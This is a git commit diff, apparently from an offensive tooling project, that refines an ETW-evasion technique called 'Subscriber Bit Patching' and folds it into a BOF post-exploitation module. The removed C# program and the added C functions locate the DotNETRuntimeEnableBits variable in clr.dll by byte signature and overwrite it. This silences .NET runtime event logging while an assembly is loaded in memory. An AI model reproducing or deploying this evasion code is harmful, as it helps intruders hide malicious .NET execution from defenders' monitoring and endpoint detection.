Subscriber Bit Patching signature update

Updated the signature to be compatible with older versions of clr.dll. Integrated into the BOF
This commit is contained in:
loland
2025-12-04 22:49:18 +08:00
parent 14740195e0
commit 1780e0ac41
4 changed files with 27 additions and 114 deletions
+1 -1
View File
@@ -70,7 +70,7 @@ int* findDotNETRuntimeEnableBits(HMODULE clrBase) {
for (int i = 0; i < clrSize; i++) {
unsigned char* addr = (unsigned char*)clrBase + i;
// matches "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h"
// matches "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h/40000000h"
if (addr[0] != 0xf7 || addr[1] != 0x5) {
continue;
}
-112
View File
@@ -1,112 +0,0 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace SubscriberBitPatch {
internal class Program {
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
static int getClrSize(IntPtr clrBase) {
Console.WriteLine("CLR Base: " + clrBase.ToString("X"));
int peOffset = Marshal.ReadInt32(clrBase + 0x3C);
IntPtr optionalHeaderPtr = clrBase + peOffset + 0x18;
int sizeOfImage = Marshal.ReadInt32(optionalHeaderPtr + 0x38);
Console.WriteLine("CLR SizeOfImage: 0x" + sizeOfImage.ToString("X"));
return sizeOfImage;
}
static IntPtr GetImageBase(String dllName) {
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) {
return module.BaseAddress;
}
}
return IntPtr.Zero;
}
static IntPtr FindDotNETRuntimeEnableBits() {
IntPtr clrBase = GetImageBase("clr.dll");
Console.WriteLine("clr.dll located at " + clrBase.ToString("X"));
int clrSize = getClrSize(clrBase);
IntPtr clrEnd = clrBase + clrSize;
String[] pattern = new string[] { "f7", "05", "??", "??", "??", "??", "00", "00", "00", "80" };
Dictionary<IntPtr, int> globalVarCount = new Dictionary<IntPtr, int>();
for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) {
for (int i = 0; i < pattern.Length; i++) {
if (pattern[i] == "??") {
continue;
}
int b = Marshal.ReadByte((IntPtr)addr + i);
int target_b = Convert.ToInt32(pattern[i], 16);
if (b != target_b) {
break;
}
if (i != pattern.Length - 1) {
continue;
}
int globalVarOffset = Marshal.ReadInt32((IntPtr)addr + 2);
IntPtr rip = (IntPtr)(addr + pattern.Length);
IntPtr globalVarAddr = rip + globalVarOffset;
if (globalVarCount.ContainsKey(globalVarAddr)) {
globalVarCount[globalVarAddr]++;
} else {
globalVarCount[globalVarAddr] = 1;
}
//Console.WriteLine("Signature found at: 0x" + addr.ToString("X"));
}
}
IntPtr topAddr = IntPtr.Zero;
foreach (var item in globalVarCount) {
if (topAddr == IntPtr.Zero || item.Value > globalVarCount[topAddr]) {
topAddr = item.Key;
}
}
return topAddr;
}
static void TurnOffETW(IntPtr DotNETRuntimeEnableBits_addr, out int DotNETRuntimeEnableBits_val) {
DotNETRuntimeEnableBits_val = Marshal.ReadInt32(DotNETRuntimeEnableBits_addr);
Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, 1);
}
static void TurnOnETW(IntPtr DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) {
Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val);
}
static void Main(string[] args) {
IntPtr DotNETRuntimeEnableBits_addr = FindDotNETRuntimeEnableBits();
int DotNETRuntimeEnableBits_val = 0;
TurnOffETW(DotNETRuntimeEnableBits_addr, out DotNETRuntimeEnableBits_val);
Console.WriteLine("DotNETRuntimeEnableBits_val: 0x" + DotNETRuntimeEnableBits_val.ToString("X"));
// filename is the .NET assembly executable on disk to load.
String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe";
Byte[] bytes = File.ReadAllBytes(filename);
Assembly asm = Assembly.Load(bytes);
Console.WriteLine(asm);
// because ETW is turned back on, upon termination of the process, an AssemblyUnload event for RegAsm is logged.
TurnOnETW(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val);
Console.WriteLine("Microsoft_Windows_DotNETRuntimeEnableBits_addr: 0x" + DotNETRuntimeEnableBits_addr.ToString("X"));
}
}
}
Binary file not shown.
+26 -1
View File
@@ -539,10 +539,31 @@ int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) {
return 1;
}
int hasCoTemplateEventDescriptorCall(unsigned char* addr, void* etwEventWrite) {
// test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 40000000h (10 bytes)
// jz short loc_* (2 bytes)
// lea rdx, DebugIPCEventEnd (7 bytes)
// call CoTemplateEventDescriptor (5 bytes)
unsigned char* callInstrAddr = addr + 10 + 2 + 7;
unsigned char* rip = addr + 10 + 2 + 7 + 5;
if (*callInstrAddr != 0xe8) {
return 0; // not a call
}
int offset = *(DWORD*)(callInstrAddr + 1);
unsigned char* funcAddr = rip + offset;
return isEtwFunc(funcAddr, etwEventWrite);
}
int* findDotNETRuntimeEnableBits() {
void* clrBase = getImageBase(L"clr.dll");
int clrSize = getImageSize(clrBase);
void* ntdllBase = getImageBase(L"ntdll.dll");
void* etwEventWrite = getProcAddr(ntdllBase, "EtwEventWrite");
// assuming a max of 20 global variables that match the pattern
int MAX = 20;
int* globalVars[20] = { 0 };
@@ -556,7 +577,11 @@ int* findDotNETRuntimeEnableBits() {
continue;
}
if (*(DWORD*)(addr + 6) != 0x80000000) {
if (*(DWORD*)(addr + 6) != 0x80000000 && *(DWORD*)(addr + 6) != 0x40000000) {
continue;
}
if (!hasCoTemplateEventDescriptorCall(addr, etwEventWrite)) {
continue;
}